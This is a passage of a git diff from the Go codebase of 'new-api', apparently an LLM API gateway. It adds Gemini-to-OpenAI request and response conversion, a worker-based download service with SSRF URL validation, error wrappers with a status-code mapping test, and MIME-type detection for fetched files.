+	for _, content := range geminiRequest.Contents {
+		message := dto.Message{
+			Role: convertGeminiRoleToOpenAI(content.Role),
+		}
+
+		// 处理 parts
+		var mediaContents []dto.MediaContent
+		var toolCalls []dto.ToolCallRequest
+		for _, part := range content.Parts {
+			if part.Text != "" {
+				mediaContent := dto.MediaContent{
+					Type: "text",
+					Text: part.Text,
+				}
+				mediaContents = append(mediaContents, mediaContent)
+			} else if part.InlineData != nil {
+				mediaContent := dto.MediaContent{
+					Type: "image_url",
+					ImageUrl: &dto.MessageImageUrl{
+						Url:      fmt.Sprintf("data:%s;base64,%s", part.InlineData.MimeType, part.InlineData.Data),
+						Detail:   "auto",
+						MimeType: part.InlineData.MimeType,
+					},
+				}
+				mediaContents = append(mediaContents, mediaContent)
+			} else if part.FileData != nil {
+				mediaContent := dto.MediaContent{
+					Type: "image_url",
+					ImageUrl: &dto.MessageImageUrl{
+						Url:      part.FileData.FileUri,
+						Detail:   "auto",
+						MimeType: part.FileData.MimeType,
+					},
+				}
+				mediaContents = append(mediaContents, mediaContent)
+			} else if part.FunctionCall != nil {
+				// 处理 Gemini 的工具调用
+				toolCall := dto.ToolCallRequest{
+					ID:   fmt.Sprintf("call_%d", len(toolCalls)+1), // 生成唯一ID
+					Type: "function",
+					Function: dto.FunctionRequest{
+						Name:      part.FunctionCall.FunctionName,
+						Arguments: toJSONString(part.FunctionCall.Arguments),
+					},
+				}
+				toolCalls = append(toolCalls, toolCall)
+			} else if part.FunctionResponse != nil {
+				// 处理 Gemini 的工具响应，创建单独的 tool 消息
+				toolMessage := dto.Message{
+					Role:       "tool",
+					ToolCallId: fmt.Sprintf("call_%d", len(toolCalls)), // 使用对应的调用ID
+				}
+				toolMessage.SetStringContent(toJSONString(part.FunctionResponse.Response))
+				messages = append(messages, toolMessage)
+			}
+		}
+
+		// 设置消息内容
+		if len(toolCalls) > 0 {
+			// 如果有工具调用，设置工具调用
+			message.SetToolCalls(toolCalls)
+		} else if len(mediaContents) == 1 && mediaContents[0].Type == "text" {
+			// 如果只有一个文本内容，直接设置字符串
+			message.Content = mediaContents[0].Text
+		} else if len(mediaContents) > 0 {
+			// 如果有多个内容或包含媒体，设置为数组
+			message.SetMediaContent(mediaContents)
+		}
+
+		// 只有当消息有内容或工具调用时才添加
+		if len(message.ParseContent()) > 0 || len(message.ToolCalls) > 0 {
+			messages = append(messages, message)
+		}
+	}
+
+	openaiRequest.Messages = messages
+
+	if geminiRequest.GenerationConfig.Temperature != nil {
+		openaiRequest.Temperature = geminiRequest.GenerationConfig.Temperature
+	}
+	if geminiRequest.GenerationConfig.TopP != nil && *geminiRequest.GenerationConfig.TopP > 0 {
+		openaiRequest.TopP = lo.ToPtr(*geminiRequest.GenerationConfig.TopP)
+	}
+	if geminiRequest.GenerationConfig.TopK != nil && *geminiRequest.GenerationConfig.TopK > 0 {
+		openaiRequest.TopK = lo.ToPtr(int(*geminiRequest.GenerationConfig.TopK))
+	}
+	if geminiRequest.GenerationConfig.MaxOutputTokens != nil && *geminiRequest.GenerationConfig.MaxOutputTokens > 0 {
+		openaiRequest.MaxTokens = lo.ToPtr(*geminiRequest.GenerationConfig.MaxOutputTokens)
+	}
+	// gemini stop sequences 最多 5 个，openai stop 最多 4 个
+	if len(geminiRequest.GenerationConfig.StopSequences) > 0 {
+		openaiRequest.Stop = geminiRequest.GenerationConfig.StopSequences[:4]
+	}
+	if geminiRequest.GenerationConfig.CandidateCount != nil && *geminiRequest.GenerationConfig.CandidateCount > 0 {
+		openaiRequest.N = lo.ToPtr(*geminiRequest.GenerationConfig.CandidateCount)
+	}
+
+	// 转换工具调用
+	if len(geminiRequest.GetTools()) > 0 {
+		var tools []dto.ToolCallRequest
+		for _, tool := range geminiRequest.GetTools() {
+			if tool.FunctionDeclarations != nil {
+				functionDeclarations, err := common.Any2Type[[]dto.FunctionRequest](tool.FunctionDeclarations)
+				if err != nil {
+					common.SysError(fmt.Sprintf("failed to parse gemini function declarations: %v (type=%T)", err, tool.FunctionDeclarations))
+					continue
+				}
+				for _, function := range functionDeclarations {
+					openAITool := dto.ToolCallRequest{
+						Type: "function",
+						Function: dto.FunctionRequest{
+							Name:        function.Name,
+							Description: function.Description,
+							Parameters:  function.Parameters,
+						},
+					}
+					tools = append(tools, openAITool)
+				}
+			}
+		}
+		if len(tools) > 0 {
+			openaiRequest.Tools = tools
+		}
+	}
+
+	// gemini system instructions
+	if geminiRequest.SystemInstructions != nil {
+		// 将系统指令作为第一条消息插入
+		systemMessage := dto.Message{
+			Role:    "system",
+			Content: extractTextFromGeminiParts(geminiRequest.SystemInstructions.Parts),
+		}
+		openaiRequest.Messages = append([]dto.Message{systemMessage}, openaiRequest.Messages...)
+	}
+
+	return openaiRequest, nil
+}
+
+func convertGeminiRoleToOpenAI(geminiRole string) string {
+	switch geminiRole {
+	case "user":
+		return "user"
+	case "model":
+		return "assistant"
+	case "function":
+		return "function"
+	default:
+		return "user"
+	}
+}
+
+func extractTextFromGeminiParts(parts []dto.GeminiPart) string {
+	var texts []string
+	for _, part := range parts {
+		if part.Text != "" {
+			texts = append(texts, part.Text)
+		}
+	}
+	return strings.Join(texts, "\n")
+}
+
+// ResponseOpenAI2Gemini 将 OpenAI 响应转换为 Gemini 格式
+func ResponseOpenAI2Gemini(openAIResponse *dto.OpenAITextResponse, info *relaycommon.RelayInfo) *dto.GeminiChatResponse {
+	geminiResponse := &dto.GeminiChatResponse{
+		Candidates: make([]dto.GeminiChatCandidate, 0, len(openAIResponse.Choices)),
+		UsageMetadata: dto.GeminiUsageMetadata{
+			PromptTokenCount:     openAIResponse.PromptTokens,
+			CandidatesTokenCount: openAIResponse.CompletionTokens,
+			TotalTokenCount:      openAIResponse.PromptTokens + openAIResponse.CompletionTokens,
+		},
+	}
+
+	for _, choice := range openAIResponse.Choices {
+		candidate := dto.GeminiChatCandidate{
+			Index:         int64(choice.Index),
+			SafetyRatings: []dto.GeminiChatSafetyRating{},
+		}
+
+		// 设置结束原因
+		var finishReason string
+		switch choice.FinishReason {
+		case "stop":
+			finishReason = "STOP"
+		case "length":
+			finishReason = "MAX_TOKENS"
+		case "content_filter":
+			finishReason = "SAFETY"
+		case "tool_calls":
+			finishReason = "STOP"
+		default:
+			finishReason = "STOP"
+		}
+		candidate.FinishReason = &finishReason
+
+		// 转换消息内容
+		content := dto.GeminiChatContent{
+			Role:  "model",
+			Parts: make([]dto.GeminiPart, 0),
+		}
+
+		// 处理工具调用
+		toolCalls := choice.Message.ParseToolCalls()
+		if len(toolCalls) > 0 {
+			for _, toolCall := range toolCalls {
+				// 解析参数
+				var args map[string]interface{}
+				if toolCall.Function.Arguments != "" {
+					if err := json.Unmarshal([]byte(toolCall.Function.Arguments), &args); err != nil {
+						args = map[string]interface{}{"arguments": toolCall.Function.Arguments}
+					}
+				} else {
+					args = make(map[string]interface{})
+				}
+
+				part := dto.GeminiPart{
+					FunctionCall: &dto.FunctionCall{
+						FunctionName: toolCall.Function.Name,
+						Arguments:    args,
+					},
+				}
+				content.Parts = append(content.Parts, part)
+			}
+		} else {
+			// 处理文本内容
+			textContent := choice.Message.StringContent()
+			if textContent != "" {
+				part := dto.GeminiPart{
+					Text: textContent,
+				}
+				content.Parts = append(content.Parts, part)
+			}
+		}
+
+		candidate.Content = content
+		geminiResponse.Candidates = append(geminiResponse.Candidates, candidate)
+	}
+
+	return geminiResponse
+}
+
+// StreamResponseOpenAI2Gemini 将 OpenAI 流式响应转换为 Gemini 格式
+func StreamResponseOpenAI2Gemini(openAIResponse *dto.ChatCompletionsStreamResponse, info *relaycommon.RelayInfo) *dto.GeminiChatResponse {
+	// 检查是否有实际内容或结束标志
+	hasContent := false
+	hasFinishReason := false
+	for _, choice := range openAIResponse.Choices {
+		if len(choice.Delta.GetContentString()) > 0 || (choice.Delta.ToolCalls != nil && len(choice.Delta.ToolCalls) > 0) {
+			hasContent = true
+		}
+		if choice.FinishReason != nil {
+			hasFinishReason = true
+		}
+	}
+
+	// 如果没有实际内容且没有结束标志，跳过。主要针对 openai 流响应开头的空数据
+	if !hasContent && !hasFinishReason {
+		return nil
+	}
+
+	geminiResponse := &dto.GeminiChatResponse{
+		Candidates: make([]dto.GeminiChatCandidate, 0, len(openAIResponse.Choices)),
+		UsageMetadata: dto.GeminiUsageMetadata{
+			PromptTokenCount:     info.GetEstimatePromptTokens(),
+			CandidatesTokenCount: 0, // 流式响应中可能没有完整的 usage 信息
+			TotalTokenCount:      info.GetEstimatePromptTokens(),
+		},
+	}
+
+	if openAIResponse.Usage != nil {
+		geminiResponse.UsageMetadata.PromptTokenCount = openAIResponse.Usage.PromptTokens
+		geminiResponse.UsageMetadata.CandidatesTokenCount = openAIResponse.Usage.CompletionTokens
+		geminiResponse.UsageMetadata.TotalTokenCount = openAIResponse.Usage.TotalTokens
+	}
+
+	for _, choice := range openAIResponse.Choices {
+		candidate := dto.GeminiChatCandidate{
+			Index:         int64(choice.Index),
+			SafetyRatings: []dto.GeminiChatSafetyRating{},
+		}
+
+		// 设置结束原因
+		if choice.FinishReason != nil {
+			var finishReason string
+			switch *choice.FinishReason {
+			case "stop":
+				finishReason = "STOP"
+			case "length":
+				finishReason = "MAX_TOKENS"
+			case "content_filter":
+				finishReason = "SAFETY"
+			case "tool_calls":
+				finishReason = "STOP"
+			default:
+				finishReason = "STOP"
+			}
+			candidate.FinishReason = &finishReason
+		}
+
+		// 转换消息内容
+		content := dto.GeminiChatContent{
+			Role:  "model",
+			Parts: make([]dto.GeminiPart, 0),
+		}
+
+		// 处理工具调用
+		if choice.Delta.ToolCalls != nil {
+			for _, toolCall := range choice.Delta.ToolCalls {
+				// 解析参数
+				var args map[string]interface{}
+				if toolCall.Function.Arguments != "" {
+					if err := json.Unmarshal([]byte(toolCall.Function.Arguments), &args); err != nil {
+						args = map[string]interface{}{"arguments": toolCall.Function.Arguments}
+					}
+				} else {
+					args = make(map[string]interface{})
+				}
+
+				part := dto.GeminiPart{
+					FunctionCall: &dto.FunctionCall{
+						FunctionName: toolCall.Function.Name,
+						Arguments:    args,
+					},
+				}
+				content.Parts = append(content.Parts, part)
+			}
+		} else {
+			// 处理文本内容
+			textContent := choice.Delta.GetContentString()
+			if textContent != "" {
+				part := dto.GeminiPart{
+					Text: textContent,
+				}
+				content.Parts = append(content.Parts, part)
+			}
+		}
+
+		candidate.Content = content
+		geminiResponse.Candidates = append(geminiResponse.Candidates, candidate)
+	}
+
+	return geminiResponse
+}
diff --git a/new-api/service/download.go b/new-api/service/download.go
new file mode 100644
index 0000000..752d8c6
--- /dev/null
+++ b/new-api/service/download.go
@@ -0,0 +1,70 @@
+package service
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+)
+
+// WorkerRequest Worker请求的数据结构
+type WorkerRequest struct {
+	URL     string            `json:"url"`
+	Key     string            `json:"key"`
+	Method  string            `json:"method,omitempty"`
+	Headers map[string]string `json:"headers,omitempty"`
+	Body    json.RawMessage   `json:"body,omitempty"`
+}
+
+// DoWorkerRequest 通过Worker发送请求
+func DoWorkerRequest(req *WorkerRequest) (*http.Response, error) {
+	if !system_setting.EnableWorker() {
+		return nil, fmt.Errorf("worker not enabled")
+	}
+	if !system_setting.WorkerAllowHttpImageRequestEnabled && !strings.HasPrefix(req.URL, "https") {
+		return nil, fmt.Errorf("only support https url")
+	}
+
+	// SSRF防护：验证请求URL
+	fetchSetting := system_setting.GetFetchSetting()
+	if err := common.ValidateURLWithFetchSetting(req.URL, fetchSetting.EnableSSRFProtection, fetchSetting.AllowPrivateIp, fetchSetting.DomainFilterMode, fetchSetting.IpFilterMode, fetchSetting.DomainList, fetchSetting.IpList, fetchSetting.AllowedPorts, fetchSetting.ApplyIPFilterForDomain); err != nil {
+		return nil, fmt.Errorf("request reject: %v", err)
+	}
+
+	workerUrl := system_setting.WorkerUrl
+	if !strings.HasSuffix(workerUrl, "/") {
+		workerUrl += "/"
+	}
+
+	// 序列化worker请求数据
+	workerPayload, err := json.Marshal(req)
+	if err != nil {
+		return nil, fmt.Errorf("failed to marshal worker payload: %v", err)
+	}
+
+	return GetHttpClient().Post(workerUrl, "application/json", bytes.NewBuffer(workerPayload))
+}
+
+func DoDownloadRequest(originUrl string, reason ...string) (resp *http.Response, err error) {
+	if system_setting.EnableWorker() {
+		common.SysLog(fmt.Sprintf("downloading file from worker: %s, reason: %s", originUrl, strings.Join(reason, ", ")))
+		req := &WorkerRequest{
+			URL: originUrl,
+			Key: system_setting.WorkerValidKey,
+		}
+		return DoWorkerRequest(req)
+	} else {
+		// SSRF防护：验证请求URL（非Worker模式）
+		fetchSetting := system_setting.GetFetchSetting()
+		if err := common.ValidateURLWithFetchSetting(originUrl, fetchSetting.EnableSSRFProtection, fetchSetting.AllowPrivateIp, fetchSetting.DomainFilterMode, fetchSetting.IpFilterMode, fetchSetting.DomainList, fetchSetting.IpList, fetchSetting.AllowedPorts, fetchSetting.ApplyIPFilterForDomain); err != nil {
+			return nil, fmt.Errorf("request reject: %v", err)
+		}
+
+		common.SysLog(fmt.Sprintf("downloading from origin: %s, reason: %s", common.MaskSensitiveInfo(originUrl), strings.Join(reason, ", ")))
+		return GetHttpClient().Get(originUrl)
+	}
+}
diff --git a/new-api/service/epay.go b/new-api/service/epay.go
new file mode 100644
index 0000000..bfe1437
--- /dev/null
+++ b/new-api/service/epay.go
@@ -0,0 +1,13 @@
+package service
+
+import (
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+	"github.com/QuantumNous/new-api/setting/system_setting"
+)
+
+func GetCallbackAddress() string {
+	if operation_setting.CustomCallbackAddress == "" {
+		return system_setting.ServerAddress
+	}
+	return operation_setting.CustomCallbackAddress
+}
diff --git a/new-api/service/error.go b/new-api/service/error.go
new file mode 100644
index 0000000..a2ff0aa
--- /dev/null
+++ b/new-api/service/error.go
@@ -0,0 +1,221 @@
+package service
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"math"
+	"net/http"
+	"strconv"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/types"
+)
+
+func MidjourneyErrorWrapper(code int, desc string) *dto.MidjourneyResponse {
+	return &dto.MidjourneyResponse{
+		Code:        code,
+		Description: desc,
+	}
+}
+
+func MidjourneyErrorWithStatusCodeWrapper(code int, desc string, statusCode int) *dto.MidjourneyResponseWithStatusCode {
+	return &dto.MidjourneyResponseWithStatusCode{
+		StatusCode: statusCode,
+		Response:   *MidjourneyErrorWrapper(code, desc),
+	}
+}
+
+//// OpenAIErrorWrapper wraps an error into an OpenAIErrorWithStatusCode
+//func OpenAIErrorWrapper(err error, code string, statusCode int) *dto.OpenAIErrorWithStatusCode {
+//	text := err.Error()
+//	lowerText := strings.ToLower(text)
+//	if !strings.HasPrefix(lowerText, "get file base64 from url") && !strings.HasPrefix(lowerText, "mime type is not supported") {
+//		if strings.Contains(lowerText, "post") || strings.Contains(lowerText, "dial") || strings.Contains(lowerText, "http") {
+//			common.SysLog(fmt.Sprintf("error: %s", text))
+//			text = "请求上游地址失败"
+//		}
+//	}
+//	openAIError := dto.OpenAIError{
+//		Message: text,
+//		Type:    "new_api_error",
+//		Code:    code,
+//	}
+//	return &dto.OpenAIErrorWithStatusCode{
+//		Error:      openAIError,
+//		StatusCode: statusCode,
+//	}
+//}
+//
+//func OpenAIErrorWrapperLocal(err error, code string, statusCode int) *dto.OpenAIErrorWithStatusCode {
+//	openaiErr := OpenAIErrorWrapper(err, code, statusCode)
+//	openaiErr.LocalError = true
+//	return openaiErr
+//}
+
+func ClaudeErrorWrapper(err error, code string, statusCode int) *dto.ClaudeErrorWithStatusCode {
+	text := err.Error()
+	lowerText := strings.ToLower(text)
+	if !strings.HasPrefix(lowerText, "get file base64 from url") {
+		if strings.Contains(lowerText, "post") || strings.Contains(lowerText, "dial") || strings.Contains(lowerText, "http") {
+			common.SysLog(fmt.Sprintf("error: %s", text))
+			text = "请求上游地址失败"
+		}
+	}
+	claudeError := types.ClaudeError{
+		Message: text,
+		Type:    "new_api_error",
+	}
+	return &dto.ClaudeErrorWithStatusCode{
+		Error:      claudeError,
+		StatusCode: statusCode,
+	}
+}
+
+func ClaudeErrorWrapperLocal(err error, code string, statusCode int) *dto.ClaudeErrorWithStatusCode {
+	claudeErr := ClaudeErrorWrapper(err, code, statusCode)
+	claudeErr.LocalError = true
+	return claudeErr
+}
+
+func RelayErrorHandler(ctx context.Context, resp *http.Response, showBodyWhenFail bool) (newApiErr *types.NewAPIError) {
+	newApiErr = types.InitOpenAIError(types.ErrorCodeBadResponseStatusCode, resp.StatusCode)
+
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return
+	}
+	CloseResponseBodyGracefully(resp)
+	var errResponse dto.GeneralErrorResponse
+	buildErrWithBody := func(message string) error {
+		if message == "" {
+			return fmt.Errorf("bad response status code %d, body: %s", resp.StatusCode, string(responseBody))
+		}
+		return fmt.Errorf("bad response status code %d, message: %s, body: %s", resp.StatusCode, message, string(responseBody))
+	}
+
+	err = common.Unmarshal(responseBody, &errResponse)
+	if err != nil {
+		if showBodyWhenFail {
+			newApiErr.Err = buildErrWithBody("")
+		} else {
+			logger.LogError(ctx, fmt.Sprintf("bad response status code %d, body: %s", resp.StatusCode, string(responseBody)))
+			newApiErr.Err = fmt.Errorf("bad response status code %d", resp.StatusCode)
+		}
+		return
+	}
+
+	if common.GetJsonType(errResponse.Error) == "object" {
+		// General format error (OpenAI, Anthropic, Gemini, etc.)
+		oaiError := errResponse.TryToOpenAIError()
+		if oaiError != nil {
+			newApiErr = types.WithOpenAIError(*oaiError, resp.StatusCode)
+			if showBodyWhenFail {
+				newApiErr.Err = buildErrWithBody(newApiErr.Error())
+			}
+			return
+		}
+	}
+	newApiErr = types.NewOpenAIError(errors.New(errResponse.ToMessage()), types.ErrorCodeBadResponseStatusCode, resp.StatusCode)
+	if showBodyWhenFail {
+		newApiErr.Err = buildErrWithBody(newApiErr.Error())
+	}
+	return
+}
+
+func ResetStatusCode(newApiErr *types.NewAPIError, statusCodeMappingStr string) {
+	if newApiErr == nil {
+		return
+	}
+	if statusCodeMappingStr == "" || statusCodeMappingStr == "{}" {
+		return
+	}
+	statusCodeMapping := make(map[string]any)
+	err := common.Unmarshal([]byte(statusCodeMappingStr), &statusCodeMapping)
+	if err != nil {
+		return
+	}
+	if newApiErr.StatusCode == http.StatusOK {
+		return
+	}
+	codeStr := strconv.Itoa(newApiErr.StatusCode)
+	if value, ok := statusCodeMapping[codeStr]; ok {
+		intCode, ok := parseStatusCodeMappingValue(value)
+		if !ok {
+			return
+		}
+		newApiErr.StatusCode = intCode
+	}
+}
+
+func parseStatusCodeMappingValue(value any) (int, bool) {
+	switch v := value.(type) {
+	case string:
+		if v == "" {
+			return 0, false
+		}
+		statusCode, err := strconv.Atoi(v)
+		if err != nil {
+			return 0, false
+		}
+		return statusCode, true
+	case float64:
+		if v != math.Trunc(v) {
+			return 0, false
+		}
+		return int(v), true
+	case int:
+		return v, true
+	case json.Number:
+		statusCode, err := strconv.Atoi(v.String())
+		if err != nil {
+			return 0, false
+		}
+		return statusCode, true
+	default:
+		return 0, false
+	}
+}
+
+func TaskErrorWrapperLocal(err error, code string, statusCode int) *dto.TaskError {
+	openaiErr := TaskErrorWrapper(err, code, statusCode)
+	openaiErr.LocalError = true
+	return openaiErr
+}
+
+func TaskErrorWrapper(err error, code string, statusCode int) *dto.TaskError {
+	text := err.Error()
+	lowerText := strings.ToLower(text)
+	if strings.Contains(lowerText, "post") || strings.Contains(lowerText, "dial") || strings.Contains(lowerText, "http") {
+		common.SysLog(fmt.Sprintf("error: %s", text))
+		//text = "请求上游地址失败"
+		text = common.MaskSensitiveInfo(text)
+	}
+	//避免暴露内部错误
+	taskError := &dto.TaskError{
+		Code:       code,
+		Message:    text,
+		StatusCode: statusCode,
+		Error:      err,
+	}
+
+	return taskError
+}
+
+// TaskErrorFromAPIError 将 PreConsumeBilling 返回的 NewAPIError 转换为 TaskError。
+func TaskErrorFromAPIError(apiErr *types.NewAPIError) *dto.TaskError {
+	if apiErr == nil {
+		return nil
+	}
+	return &dto.TaskError{
+		Code:       string(apiErr.GetErrorCode()),
+		Message:    apiErr.Err.Error(),
+		StatusCode: apiErr.StatusCode,
+		Error:      apiErr.Err,
+	}
+}
diff --git a/new-api/service/error_test.go b/new-api/service/error_test.go
new file mode 100644
index 0000000..2303e8f
--- /dev/null
+++ b/new-api/service/error_test.go
@@ -0,0 +1,57 @@
+package service
+
+import (
+	"testing"
+
+	"github.com/QuantumNous/new-api/types"
+	"github.com/stretchr/testify/require"
+)
+
+func TestResetStatusCode(t *testing.T) {
+	t.Parallel()
+
+	testCases := []struct {
+		name             string
+		statusCode       int
+		statusCodeConfig string
+		expectedCode     int
+	}{
+		{
+			name:             "map string value",
+			statusCode:       429,
+			statusCodeConfig: `{"429":"503"}`,
+			expectedCode:     503,
+		},
+		{
+			name:             "map int value",
+			statusCode:       429,
+			statusCodeConfig: `{"429":503}`,
+			expectedCode:     503,
+		},
+		{
+			name:             "skip invalid string value",
+			statusCode:       429,
+			statusCodeConfig: `{"429":"bad-code"}`,
+			expectedCode:     429,
+		},
+		{
+			name:             "skip status code 200",
+			statusCode:       200,
+			statusCodeConfig: `{"200":503}`,
+			expectedCode:     200,
+		},
+	}
+
+	for _, tc := range testCases {
+		tc := tc
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			newAPIError := &types.NewAPIError{
+				StatusCode: tc.statusCode,
+			}
+			ResetStatusCode(newAPIError, tc.statusCodeConfig)
+			require.Equal(t, tc.expectedCode, newAPIError.StatusCode)
+		})
+	}
+}
diff --git a/new-api/service/file_decoder.go b/new-api/service/file_decoder.go
new file mode 100644
index 0000000..57898af
--- /dev/null
+++ b/new-api/service/file_decoder.go
@@ -0,0 +1,212 @@
+package service
+
+import (
+	"bytes"
+	"fmt"
+	"image"
+	_ "image/gif"
+	_ "image/jpeg"
+	_ "image/png"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+)
+
+// GetFileTypeFromUrl 获取文件类型，返回 mime type， 例如 image/jpeg, image/png, image/gif, image/bmp, image/tiff, application/pdf
+// 如果获取失败，返回 application/octet-stream
+func GetFileTypeFromUrl(c *gin.Context, url string, reason ...string) (string, error) {
+	response, err := DoDownloadRequest(url, []string{"get_mime_type", strings.Join(reason, ", ")}...)
+	if err != nil {
+		common.SysLog(fmt.Sprintf("fail to get file type from url: %s, error: %s", url, err.Error()))
+		return "", err
+	}
+	defer response.Body.Close()
+
+	if response.StatusCode != 200 {
+		logger.LogError(c, fmt.Sprintf("failed to download file from %s, status code: %d", url, response.StatusCode))
+		return "", fmt.Errorf("failed to download file, status code: %d", response.StatusCode)
+	}
+
+	if headerType := strings.TrimSpace(response.Header.Get("Content-Type")); headerType != "" {
+		if i := strings.Index(headerType, ";"); i != -1 {
+			headerType = headerType[:i]
+		}
+		if headerType != "application/octet-stream" {
+			return headerType, nil
+		}
+	}
+
+	if cd := response.Header.Get("Content-Disposition"); cd != "" {
+		parts := strings.Split(cd, ";")
+		for _, part := range parts {
+			part = strings.TrimSpace(part)
+			if strings.HasPrefix(strings.ToLower(part), "filename=") {
+				name := strings.TrimSpace(strings.TrimPrefix(part, "filename="))
+				if len(name) > 2 && name[0] == '"' && name[len(name)-1] == '"' {
+					name = name[1 : len(name)-1]
+				}
+				if dot := strings.LastIndex(name, "."); dot != -1 && dot+1 < len(name) {
+					ext := strings.ToLower(name[dot+1:])
+					if ext != "" {
+						mt := GetMimeTypeByExtension(ext)
+						if mt != "application/octet-stream" {
+							return mt, nil
+						}
+					}
+				}
+				break
+			}
+		}
+	}
+
+	cleanedURL := url
+	if q := strings.Index(cleanedURL, "?"); q != -1 {
+		cleanedURL = cleanedURL[:q]
+	}
+	if slash := strings.LastIndex(cleanedURL, "/"); slash != -1 && slash+1 < len(cleanedURL) {
+		last := cleanedURL[slash+1:]
+		if dot := strings.LastIndex(last, "."); dot != -1 && dot+1 < len(last) {
+			ext := strings.ToLower(last[dot+1:])
+			if ext != "" {
+				mt := GetMimeTypeByExtension(ext)
+				if mt != "application/octet-stream" {
+					return mt, nil
+				}
+			}
+		}
+	}
+
+	var readData []byte
+	limits := []int{512, 8 * 1024, 24 * 1024, 64 * 1024}
+	for _, limit := range limits {
+		logger.LogDebug(c, fmt.Sprintf("Trying to read %d bytes to determine file type", limit))
+		if len(readData) < limit {
+			need := limit - len(readData)
+			tmp := make([]byte, need)
+			n, _ := io.ReadFull(response.Body, tmp)
+			if n > 0 {
+				readData = append(readData, tmp[:n]...)
+			}
+		}
+
+		if len(readData) == 0 {
+			continue
+		}
+
+		sniffed := http.DetectContentType(readData)
+		if sniffed != "" && sniffed != "application/octet-stream" {
+			return sniffed, nil
+		}
+
+		// Try HEIF/HEIC detection (Go standard library doesn't recognize it)
+		if heifMime := detectHEIF(readData); heifMime != "" {
+			return heifMime, nil
+		}
+
+		if _, format, err := image.DecodeConfig(bytes.NewReader(readData)); err == nil {
+			switch strings.ToLower(format) {
+			case "jpeg", "jpg":
+				return "image/jpeg", nil
+			case "png":
+				return "image/png", nil
+			case "gif":
+				return "image/gif", nil
+			case "bmp":
+				return "image/bmp", nil
+			case "tiff":
+				return "image/tiff", nil
+			default:
+				if format != "" {
+					return "image/" + strings.ToLower(format), nil
+				}
+			}
+		}
+	}
+
+	// Fallback
+	return "application/octet-stream", nil
+}
+
+// GetFileBase64FromUrl 从 URL 获取文件的 base64 编码数据
+// Deprecated: 请使用 GetBase64Data 配合 types.NewURLFileSource 替代
+// 此函数保留用于向后兼容，内部已重构为调用统一的文件服务
+func GetFileBase64FromUrl(c *gin.Context, url string, reason ...string) (*types.LocalFileData, error) {
+	source := types.NewURLFileSource(url)
+	cachedData, err := LoadFileSource(c, source, reason...)
+	if err != nil {
+		return nil, err
+	}
+
+	// 转换为旧的 LocalFileData 格式以保持兼容
+	base64Data, err := cachedData.GetBase64Data()
+	if err != nil {
+		return nil, err
+	}
+	return &types.LocalFileData{
+		Base64Data: base64Data,
+		MimeType:   cachedData.MimeType,
+		Size:       cachedData.Size,
+		Url:        url,
+	}, nil
+}
+
+func GetMimeTypeByExtension(ext string) string {
+	// Convert to lowercase for case-insensitive comparison
+	ext = strings.ToLower(ext)
+	switch ext {
+	// Text files
+	case "txt", "md", "markdown", "csv", "json", "xml", "html", "htm":
+		return "text/plain"
+
+	// Image files
+	case "jpg", "jpeg":
+		return "image/jpeg"
+	case "png":
+		return "image/png"
+	case "gif":
+		return "image/gif"
+	case "jfif":
+		return "image/jpeg"
+	case "heic":
+		return "image/heic"
+	case "heif":
+		return "image/heif"
+
+	// Audio files
+	case "mp3":
+		return "audio/mp3"
+	case "wav":
+		return "audio/wav"
+	case "mpeg":
+		return "audio/mpeg"
+
+	// Video files
+	case "mp4":
+		return "video/mp4"
+	case "wmv":
+		return "video/wmv"
+	case "flv":
+		return "video/flv"
+	case "mov":
+		return "video/mov"
+	case "mpg":
+		return "video/mpg"
+	case "avi":
+		return "video/avi"
+	case "mpegps":
+		return "video/mpegps"
+
+	// Document files
+	case "pdf":
+		return "application/pdf"
+
+	default:
+		return "application/octet-stream" // Default for unknown types
+	}
+}
diff --git a/new-api/service/file_service.go b/new-api/service/file_service.go
new file mode 100644
index 0000000..bcf4744
--- /dev/null
+++ b/new-api/service/file_service.go
@@ -0,0 +1,607 @@
+package service
+
+import (
+	"bytes"
+	"encoding/base64"
+	"encoding/binary"
+	"fmt"
+	"image"
+	_ "image/gif"
+	_ "image/jpeg"
+	_ "image/png"
+	"io"
+	"net/http"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/types"
+
+	"github.com/gin-gonic/gin"
+	"golang.org/x/image/webp"
+)
+
+// FileService 统一的文件处理服务
+// 提供文件下载、解码、缓存等功能的统一入口
+
+// getContextCacheKey 生成 URL context 缓存的 key
+func getContextCacheKey(url string) string {
+	return fmt.Sprintf("file_cache_%s", common.GenerateHMAC(url))
+}
+
+// getBase64ContextCacheKey 生成 base64 context 缓存的 key
+// 使用 length + MIME + 前 128 字符作为输入，避免对整个 base64 数据做 hash
+func getBase64ContextCacheKey(data string, mimeType string) string {
+	keyMaterial := fmt.Sprintf("%d:%s:", len(data), mimeType)
+	if len(data) > 128 {
+		keyMaterial += data[:128]
+	} else {
+		keyMaterial += data
+	}
+	return fmt.Sprintf("b64_cache_%s", common.GenerateHMAC(keyMaterial))
+}
+
+// LoadFileSource 加载文件源数据
+// 这是统一的入口，会自动处理缓存和不同的来源类型
+func LoadFileSource(c *gin.Context, source types.FileSource, reason ...string) (*types.CachedFileData, error) {
+	if source == nil {
+		return nil, fmt.Errorf("file source is nil")
+	}
+
+	if common.DebugEnabled {
+		logger.LogDebug(c, fmt.Sprintf("LoadFileSource starting for: %s", source.GetIdentifier()))
+	}
+
+	// 1. 快速检查内部缓存
+	if source.HasCache() {
+		if c != nil {
+			registerSourceForCleanup(c, source)
+		}
+		return source.GetCache(), nil
+	}
+
+	// 2. 加锁保护加载过程
+	source.Mu().Lock()
+	defer source.Mu().Unlock()
+
+	// 3. 双重检查
+	if source.HasCache() {
+		if c != nil {
+			registerSourceForCleanup(c, source)
+		}
